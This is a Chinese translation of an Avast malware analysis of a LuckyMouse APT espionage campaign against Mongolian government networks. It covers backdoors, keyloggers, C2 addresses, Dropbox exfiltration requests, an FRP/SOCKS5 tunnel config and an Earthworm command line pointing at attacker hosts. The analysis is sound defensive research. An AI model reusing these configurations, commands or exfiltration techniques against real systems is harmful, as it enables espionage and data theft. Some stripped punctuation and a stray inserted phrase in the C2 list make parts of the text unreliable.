APT组织针对东亚地区的政府机构
引言
今年夏天,Avast 发现了一个新的APT攻击行动,针对蒙古国的政府机构和国家数据中心。我们根据研究以中等的信心认为,讲中文的APT组织LuckyMouse是此次攻击的背后主使。
该APT组织植入了后门和键盘记录器,以获取对政府网络的长期访问权限,然后上传了一系列用于在被攻击网络上进行进一步活动的工具,例如扫描本地网络和转储凭证。我们推测,这次网络间谍活动的主要目的是从潜在有兴趣的政府机构中窃取敏感数据。
根据我们的本地遥测数据,我们认为政府机构受到的攻击有两种方式。一种是通过一家为这些机构提供服务的脆弱公司,另一种是通过带有恶意附件的电子邮件钓鱼攻击即利用CVE201711882的武器化文档。
许多策略与之前的LuckyMouse报告一致;不过,我们还看到一些此前未记录的策略,显示出攻击者已经更新了他们的工具集,新增了Polpo和LuckyBack后门。我们在下面的分析将突出这些新策略。
归因与聚类
我们基于在此次行动调查过程中所发现的工具,推测这次行动是由LuckyMouse APT组织主导的,其中大多数工具之前已被其他研究人员归因于LuckyMouse[1][2][3]。
在2018年,卡巴斯基实验室发布了有关LuckyMouse针对包含亚洲政府资源的国家数据中心的两篇博客文章。这些博客文章描述了几套工具,如网络过滤驱动程序NDISProxy、带有CVE201711882中国骇客广泛使用的Microsoft Office方程编辑器的武器化文档,以及Earthworm隧道。它们还描述了一种滥用Symantec合法应用程序IntgStatexe的DLL旁载技术。这是一个合法应用程序,会加载DLL pcalocalresloaderdll。通过旁载他们自己的版本 pcalocalresloaderdll,他们从一个压缩并加密的文件 thumbsdb 中加载 HyperBro RAT。尽管一些使用的工具是互联网上公开的工具,但该组织也开发了自己的工具,包括一个 rootkit[1][2]。
2019年4月,PaloAlto Networks 发布了一篇有关LuckyMouse的博客文章。根据该文章,该组织在中东一个SharePoint服务器上安装了webshell,以攻击政府组织。同样,该组织使用了几个公开可用的工具如mimikatz、curl、ntbscan。但引起我们注意的是,在我们分析的攻击中也使用了相同的HyperBro RAT。该APT攻击还使用了DLL旁载技术,尽管使用的是不同的执行档。所使用的执行档是Symantec应用程序 thinprobeexe,它加载 thinhostprobedlldll。然后,这个DLL用来旁载包含加密和压缩的HyperBro的 thumbdb[3]。
我们还在蒙古国国家数据中心的网络中发现了一个Polpo后门。这个后门伴随著被知名LuckyMouse组织所使用的样本,这使我们得出结论认为这是一个LuckyMouse工具包中的新增加项。我们还观察到了更多常用工具,例如VMProtect混淆的Earthworm隧道、自定义安装程序安装NDISProxy网络过滤驱动程序和各种网络扫描器。
感染链
我们观察到该APT组织还针对一家未知公司进行攻击,该公司为东亚的政府机构提供服务。该组织潜入了公司的计算机,成功窃取了隶属于该公司电子邮件帐户的凭证。不幸的是,我们无法确定此次潜入使用的攻击向量。这些凭证然后被用来从被骇的公司电子邮件帐户向政府官员发送电子邮件。虽然我们无法恢复整封电子邮件,但我们成功地恢复了电子邮件的标头。该标头显示,这些电子邮件要求收件人更新固件,即启动附加到该电子邮件的自解压7zip档案。
日期:2020年6月28日星期日 204308 0800 (ULAT)主题:Re 在伺服器上执行固件更新
XXXXXXupdateexe
(sha2562D2EA3002C367684F21AD08BDC9B5079EBDEE08B6356AC5694EFA139D4C6E60D)
此档案提取了三个已知的文件Symantec的 thinprobeexe、恶意的 thinhostprobedlldll 和 thumbdb。此恶意DLL用于DLL旁载,解密和解压缩 thumbdb,并最终加载处理后的内容HyperBro RAT。这个后门也曾被卡巴斯基[1]和PaloAlto Networks[3]报告过,后者详细描述了HyperBro RAT。
图1:感染向量概述
工具集
在接下来的部分中,我们将描述在受害者的PC上发现的工具集,这些工具是APT组织用于网络间谍活动和在网络内部横向移动的。我们可以将这些工具分为三类:
帮助器:ServiceInstaller、ShellCodeExecutor、DataExtractor 1/2、信息收集器远程访问:StartServiceTool、Korplug、LuckyBack、BlueTraveller、Polpo公共可用工具:UAC旁载工具、端口扫描器、密码转储器、FRP、Earthworm隧道具体来说,我们发现了以下工具:
StartServiceTool
该工具将 wcmdll 安装到 WINDIRsystem32 中,并创建一个登录记录
HKEYLOCALMACHINESYSTEMCurrentControlSetServicesWindowsConnectionsManager,其值如下:
描述:根据当前可用的网络连接选项,自动做出连接/断开的决策,并根据组策略设置管理网络连接。
显示名称:Windows Connections Manager
ServiceDll:CWindowssystem32wcmdll。
这实际上创建了一个新服务。所丢弃的二进制文件是一个32位服务DLL,包含两部分嵌入的DLL,和 mmLoader (http//tishiongithubio/mmLoader/),这是一个绕过Windows加载器的加载器。
最终有效负载DLL是用GO写的,并包含名为“Interface”的单个导出。该函数期望4个参数,包括两个字符串及其对应的长度。字符串值指定受害者ID和要使用的Dropbox API密钥。该API密钥以RC4加密 base64编码的值的形式传递。硬编码的解密密钥为“0000111122223333”。该DLL还包含一个默认的API密钥,似乎是为作者的测试帐户。
最初,它尝试通过HTTP API从Dropbox下载一个文件:
POST /2/files/download HTTP/11Host contentdropboxapicomUserAgent Gohttpclient/11ContentLength 0Authorization Bearer [snipped]DropboxApiArg {“path” “/infos/000000txt”}AcceptEncoding gzip
如果服务器响应一个文件,它会尝试上传一个带时间戳和主机名的文件到Dropbox:
POST /2/files/upload HTTP/11Host contentdropboxapicomUserAgent Gohttpclient/11ContentLength 36Authorization Bearer [snipped]ContentType application/octetstreamDropboxApiArg {“path” “/infos/116a0dtxt””mode”“overwrite””autorename” true”mute” false”strictconflict” false}AcceptEncoding gzip
currentDate currentTime##hostname
接下来,启动了一个CampC请求响应循环。根据CampC服务器的响应,执行以下命令之一:下载文件、上传文件、休眠、退出或在命令行上执行命令。请参见以下图表示例流,请注意所有下载/上传均使用上述Dropbox API
图2:详细执行流程概述
ServiceInstaller
我们假设该安装程序目的是由上述某个后门执行,因为它需要命令行参数成功执行:
开关 参数i 要作为服务安装的DLL的路径u 卸载特定服务名称
首先,更改 windirsystem32 和 windirsystem32drivers 的安全描述符,以便当前用户可以将文件复制到这些位置。然后,安装程序将服务可执行文件复制到 windirsystem32,文件名随机生成4个字母数字字符。
根据及时在HKLMSOFTWAREMicrosoftWindows NTCurrentVersionSvchost netsvcs中是否已经存在名为 DFS Replication 的服务,创建一个名为 DFS Replication如果不存在或 IAS Jet Database Access Service number 的新服务。更具体地说,其参数是:
描述:“配置Internet身份验证服务IAS。如果该服务停止,则需要用户身份验证的远程网络访问将不可用。如果该服务被禁用,则任何显式依赖于它的服务都无法启动或零售在多台PC之间复制文件,使其保持同步。在客户端上,它用于在PC之间漫游文件夹;在服务器上,用于在广域网络WAN内提供高可用性和本地访问。如果停止该服务,则不会发生文件复制,服务器上的文件将保持过时。如果禁用该服务,则所有显式依赖于它的服务将无法启动。” 显示名称:DFS Replication/IAS Jet Database Access Service numberServiceDll CWindowssystem32lt4 random alphanumeric charactersgtdll。标签:0安全:0
ShellCodeExecutor
此工具接受十六进制编码的shellcode作为参数,然后执行它。负责解码和解压的代码如下所示:
图3:解码演算法和在分配的内存中执行解码有效负载
虽然我们无法重建该执行器的具体用法,但我们能够恢复其参数,对应于一个十六进制编码的metasploit生成的shellcode反向HTTP代理 Github配置以连接到URL osschromeupgrade[]com 202599[]58。我们怀疑威胁行为者使用这段shellcode仅仅是用来从CampC服务器检索和执行下一阶段。
DataExtractor 1
该工具可用于收集潜在敏感的文件,包括 pdf、ppt、xls 和 doc 扩展名。它会递归扫描所有连接的驱动器,查找在2020年及以后修改过的此类文件。收集到的文件将用Winrar打包,并使用密码 “ zaq1xsw@cde3” 进行保护。此档案将被保存到 CMSBuildNVIDIA下,文件名为 CRYPTOcomputerNamenumbervalueSYS。这个扫描每20分钟重复一次。如果这个工具在第二次启动例如重启后,则仅收集在过去24小时内修改的文件。
每次运行后,将执行文件 windirsystem32igfxmevbs。由于此工具未包含任何外泄相关功能,我们推测该脚本用于将压缩文件从计算机外泄到CampC。不幸的是,我们无法恢复这个脚本。
DataExtractor 2
这个二进制文件是一个简单的文件扫描器,提供文件扩展名列表、目录列表和日期边界作为参数。它会在列表中的每个目录中搜索具有指定扩展名的文件。如果找到此类文件且其修改日期在提供的日期边界内以UTC计,它们的完整路径将写入输出文件。这些路径用Windows行分隔符分隔,并以16位Unicode编码。
以下是错误消息的一部分,提供了该工具的使用信息:
T040ClientLiteexe suffix txtxls scanDirs EtestEtest1 output Etestoutputtxt startEditDate 2020/04/26 endEditDate 2020/04/27
更一般来说,命令的格式为:
T040ClientLiteexe suffix scanDirs output startEditDate endEditDate
信息收集器
信息收集器专注于可移动设备。如果未连接此类驱动器,则终止执行。该收集器对这些驱动器进行指纹识别序列号、厂商ID、产品ID,并使用64字节的XOR密钥加密这些数据,然后以隐藏文件的形式存储在系统驱动器上。具体而言,使用以下目录:
CMSBuildResourcesFormatS11加密文件
CMSBuildResourcesFormatS10S100未加密的临时文件,加密后删除
图4:检测驱动器,检查类型使用GetDriveTypeA
它通过将自身添加到“运行”SOFTWAREMicrosoftWindowsCurrentVersionRun登录密钥下的AvpSecurity来确保持久性。
有趣的是,它包含许多未使用的功能,使用命令行工具,比如:systeminfo、arp、ipconfig、netstat和tasklist。它还支持使用WinRAR压缩收集到的信息,并使用硬编码密码“1qaz@WSX”。该样本没有网络功能。它主要用于收集信息并使用可移动设备在网络中的计算机之间转移收集到的信息。
此外,我们分析的特定样本在驱动器枚举例程中存在一个错误,这使其几乎没有用,因为它妨碍了该样本的所有功能。
RAT
Korplug (PlugX)
Korplug (PlugX) 是一个著名的远程访问木马,与讲中文的攻击者相关,自2012年以来已在大量针对性攻击中使用[4]。它使用DLL旁载将自身加载到内存中,通过合法应用程序保持隐身。Korplug是一个功能全面的RAT,具备文件上传、下载、键盘记录、摄像头控制和访问远程cmdexe shell等功能。
在我们的案例中,我们观察到它是通过一个由ESET提供的名为unsecappexe的应用程序加载的,该应用程序带有有效但过期的证书。在执行unsecappexe后,它加载一个恶意DLL httpdlldll。此DLL反过来使用自定义算法解密 httpdlldat,生成Korplug,然后加载到内存中并执行。遗憾的是,我们无法追溯到原始有效负载,这些文件是如何被丢弃和执行的。
CampC服务器地址:
火烧云加速器app官网web[]microlynconline[]com80home[]microlynconline[]com8000help[]microlynconline[]com443host[]microlynconline[]com53
后门
我们在政府办公室网络中发现了三个不同的后门,其中PolPo和LuckyBack在之前的任何行动中均未见过。Polpo还影响了国家数据中心,而另外两个后门,即BlueTraveller和LuckyBack仅影响政府办公室网络。
LuckyBack
LuckyBack 首先收集计算机的指纹,然后尝试与CampC服务器457755[]145建立通信。一旦建立通信,后门开始侦听命令。它具备启动远程shell、文件操作移动、读取、写入、执行、获取文件大小、键盘记录和屏幕截取的能力。
技术细节:最初,通过调用 chcp 来检索所用的代码页,这一命令提供键盘和字符集信息。
第一次请求向CampC服务器“注册”设备,提供其指纹。具体而言,指纹由以下项目构成:PID、Windows版本/构建编号、CPU架构、用户名、用户权限、主机名、IP地址、代码页和RDP会话ID。
如果服务器接受注册,则以PID和简单字符串“OK”响应。然后,启动简单的请求响应CampC循环,命令及其对应的编号显示于下表中:
命令 功能0x70 0x72 重复接收数据0x1 0x11 创建远程shell或退出远程shell0x2 获取特定文件的大小和最后编写信息0x3 读取特定偏移和文件的数据0x4 获取文件大小0x12 删除特定文件0x13 终止特定线程0x14 获取读取配置0x22 通过CreateProcess API执行 command0x23 设置0x3命令的读取配置0x24 将数据写入特定文件0x32 文件操作从一个位置移动文件到另一个位置0x50 开始键盘记录0x51 停止键盘记录0x60 截取屏幕
BlueTraveller
这个后门的命令相较于前者更为简单。它仅接受四个命令:退出、上传、下载和在命令行执行。然而,它使用两层CampC伺服器,这意味著第一次请求在第一层,并返回第二层的CampC伺服器IP地址。随后,请求响应CampC循环使用第二层。如果后门收到命令行命令,控制台的输出将使用AES256加密后,发送回第二层的CampC伺服器。
该二进制文件的字符串经过RC4加密,使用硬编码的密钥“L!Q@W#ERTYampUA}tk”。在这些字符串中,我们可能找到第一层CampC服务器的地址和应用于这些请求的用户代理。我们的样本尝试联系http//govegispaceshop[]org/shophtm。最初看起来响应相当不起眼。但是,更仔细一看,我们看到许多行后面混合了制表符和空格,这确实有点可疑。而令人惊讶的是,这正是第二层CampC隐藏的IP地址!
图5:第一层CampC伺服器的响应
图6:解密HTML响应中的空白字符的脚本
BlueTraveller使用相同的加密方案AES256,密钥源自字串,通过SHA256进行哈希,从而提供IV和密钥。这种加密的首次应用是在对第二层CampC的第一次请求中。对于这次请求,密钥来自字串“0304276cf4f31345”。然后,该密钥用于加密生成的GUID和计算机主机名,然后这些经过Base64编码的数据用于生成请求URL:
http///home///
执行该请求后,命令从:
http// /indexhtm
获取的数据经过AES256加密,使用上述方法,GUID作为密钥导出程序的基字符串。每个响应还包含随机数字,这将在第一次第二层请求中发送。恶意软件检查接收的数字是否与其发送的一致;若不符,则丢弃命令。如果收到命令行命令,执行该命令的输出以AES256加密,使用与上个响应相同的密钥,并且经过Base64编码将发送到
http///help///
Polpo
Polpo是一个我们自2018年以来已经见过的后门。它支持大约15个命令,包括信息收集和外泄、文件传输和代理连接。
Base64 IPMjAzLjkxLjExOS40OjgwMDA= 20391119[]48000MjAyLjE3OS4wLjE0Mjo4MDgw 2021790[]1428080MjAyLjE3OS41LjE2MTo0NDM= 2021795[]161443
二进制文件中硬编码了Base64编码的CampC服务器地址。
Polpo 通信该后门模仿HTTP协议以便与正常流量融为一体。传输的数据经AES加密,然后编码为Base64,并伪装成HTML内容的一部分发送。
图7:命令数据解析
AES加密密钥是从每个新命令包中接收到的第一个数据包派生的,使用以下算法:
图8:加密密钥计算
该样本检查系统中是否配置了代理,该信息保存在登录键 SoftwareMicrosoftWindowsCurrentVersionInternet SettingsProxyEnable 中。如果已配置代理,则使用登录键 SoftwareMicrosoftWindowsCurrentVersionInternet SettingsProxyServer 指定的服务器进行所有连接。
Polpo 功能该后门支持15个以上命令,尽管其中一些是重复的。大多数命令在单独的线程中执行。错误和线程间通信通过事件处理。
图9:命令调度器
我们分析的Polpo版本支持的命令如下:
主要命令 子命令 功能0x1FFFFFF 初始化CLI介面 0x101FFFF CLI生成CMDEXE 0x102FFFF CLI将数据写入文件 0x103FFFF CLI列出目录 0x104FFFF CLI ShellExecuteW(0 “Open” Cmd 0 0) 0x106FFFF CLI更改目录 0x107FFFF CLI删除文件0x2EEEEEE 命令 0x201EEEE 列出驱动器信息 0x202EEEE 列出文件 0x203EEEE 将文件发送到CampC 0x204EEEE 将数据写入文件 0x 205EEEE 运行默认应用程序 0x206EEEE Shell执行打开 0x207EEEE 删除文件 0x208EEEE 递归删除文件0x3DD03DD 作为代理伪装成HTTP 0x30103DD 获取要传输的数据0x3DDDDDD 作为代理原始数据0x5FFFFFF 关闭连接0x60AAAAAA 关闭连接0x70BBBBBB 重启0x80CCCCCC 关闭系统0xAFFFFFF 将文件发送到CampC
UAC旁载工具
我们在几个受损设备上检测到了一个开源的UAC旁载工具(https//githubcom/vestjoe/WinPwnage)。它可能用于提升权限或实现系统的持久性。我们推测它被用来在管理员级别的许可权下执行任务和程序。
端口扫描器
在受损设备上看到几个不同的端口扫描器,文件名各异。使用的一个端口扫描器是开源的 https//githubcom/kingron/s。我们假设在这种情况下它用于扫描服务器的端口,以了解正在运行的服务。
Nbtscan
Nbtscan是一种命令行NetBIOS扫描器,可用于扫描网络中的开放的NetBIOS名称服务器。
密码转储器
Mimikatz 和 Lazagne 在受感染的计算机上出现。我们推测它们被用来从受损的计算机中检索凭证。我们还发现有一个经过包装的Mimikatz版本,从 https//githubcom/jas502n/mimikatssp 下载,在几个受损设备上出现。
FRP
Fast Reverse Proxy (FRP) 是一个工具,可以让您将隐藏在NAT或防火墙后的本地服务公开到互联网。支持原始TCP和UDP,以及几个其他协议,这些协议的请求可以通过此代理转发到内部服务。我们恢复了一个配置文件 3bef4cdtmp,该代理的内容如下:
[common]serveraddr = 202599[]58serverport = 8443privilegetoken = token[SDJYproxy]type = tcpremoteport = 6001plugin = socks5
显然,该行为者使用SOCKS5插件以便通过202599[]588443路由请求进入受损的网络。
图10:FRP工具使用示意图
Earthworm隧道器
Earthworm隧道器被卡巴斯基认为是讲中文的攻击者的典型工具。 我们在所有国家数据中心的受损系统上看到了这个工具。在其中一台设备上,我们成功恢复了使用的命令行参数: s rssocks d 139180155133 e 80。该工具本身会创建一个SOCKS隧道到提供的服务器。它可以在http//rootkitercom/EarthWorm/上公开获取。
结论
正如本文所示,LuckyMouse使用了新的方法来通过第三方系统潜入政府机构。
Avast最近保护了政府机构和国家数据中心的用户,防止使用我们分析的样本进行进一步攻击。我们还发现了一种有趣的加密方法,该方法在CampC响应的空格中传递隐藏的IP地址。我们推测,攻击者在此次行动中更新了他们的攻击工具集,因为Avast已发现他们的行动。
我想感谢Adolf Steda、David Zimmer和Anh Ho对本研究的帮助。
受影响指标IoC
代码库 https//githubcom/avast/ioc/tree/master/SHA256列表 https//githubcom/avast/ioc/blob/master/MITRE ATTampCK技术
策略 ID 名称 注解初步访问 T1199 信任关系 从被骇的信任电子邮件帐户发送电子邮件T1566001 鱼叉式网络钓鱼附件 包含恶意文档和软件更新的电子邮件执行 T1059003 Windows命令提示符 T1204002 恶意文件 T1203 客户端执行的利用 武器化的文档使用CVE201711882 方程编辑器T1106 原生API Windows API CreateProcessW 持久性 T1547001 注册表启动项 使用“SOFTWAREMicrosoftWindowsCurrentVersionRunAvpSecurity”T1543003 创建或修改系统进程:Windows服务 多个样本创建持久性服务权限升级 T1548002 绕过用户访问控制 WinPwnage工具T1543003 创建或修改系统进程:Windows服务 在“HKLMSYSTEMCurrentControlSetServices”中安装服务防御逃避 T1574002 劫持执行流程:DLL旁载 HyperBro被通过合法应用程序载入、解密、解压缩并执行T1564001 隐藏的文件和目录 隐藏收集的信息于隐藏目录和文件T1027 混淆的文件或信息 收集的信息使用字节XOR操作加密T1218011 Rundll32 执行shell代码T1218 签名二进制代理执行 thinprobeexe (Symantec)、unsecappexe (ESET)凭证访问 T1003001 LSASS内存 MimikatzT1552 不安全的凭证 Lasagne发现 T1083 文件和目录探索 搜索扩展名为pdf、ppt、xls、doc的敏感文档T1046 网络服务扫描 使用公开可用工具“nbtscan”和端口扫描器“s”T1120 外围设备探索 搜索系统上的可移动驱动器T1082 系统信息探索 横向移动 T1091 通过可移动媒介复制 信息收集器可以将二进制文件复制到可移动驱动器 收集 T1560001 将收集数据归档:通过实用程序归档 以密码保护的rar档案隐藏外泄的文档T1119 自动化收集 T1056001 输入捕获:键盘记录 用于LuckyBack后门命令与控制 T1071001 应用层协议:Web协议 Polpo 使用HTTP与C2通讯T1132001 数据编码:标准编码 Polpo 加密数据编码为Base64T1573001 加密通道:对称加密 Polpo 传输的数据使用AES加密T1104 多阶段通道 BlueTraveller 使用多个CampC服务器T1090001 代理:内部代理 Polpo 在网络中作为代理外泄 T1052001 通过物理媒介外泄:通过USB 外泄 信息收集器通过可移动驱动器将文件转移到网络中T1567002 通过Web服务外泄:外泄到云存储 StartServiceTool 使用Dropbox外泄收集的数据T1041 通过C2通道外泄 Polpo将数据外泄到CampC服务器
参考文献
[1] https//securelistcom/luckymousehitsnationaldatacenter/86083/
[2] https//securelistcom/luckymousendisproxydriver/87914/
[3] https//unit42paloaltonetworkscom/emissarypandaattacksmiddleeastgovernmentsharepointservers/
[4] https//wwwwelivesecuritycom/2014/11/12/korplugmilitarytargetedattacksafghanistantajikistan/
标签: APT 网络间谍活动 东亚 LuckyMouse
分享:XFacebook
2024年最安全的讯息应用程式
VPN2024年最安全的即时通讯应用程式安全的即时通讯应用程式可以阻止窥探者查看您的对话或窃取您的个人数据。最好的通讯应用程式使用加密技术来确保您的聊天内容真正私密。来看看我们精选的市场上最安全的即时通讯应用程式吧。而且还可以搭配VPN,加密您所有的网络流量,无论使用哪款即时通讯应用程式。 下载Av...
Go 恶意软件正在增加
介绍Go 程序语言的受欢迎程度日益增加。其中一个原因是 Go 程序可以被编译为适用于多个操作系统和架构的单个二进制文件,包含所有需要的依赖项。基于这些特性,我们观察到,正如我们所预期的,在过去几个月中使用 Go 编程语言编写的恶意软件和灰色工具数量有所增加。我们每周都会发现新的样本。例如,在4月底,...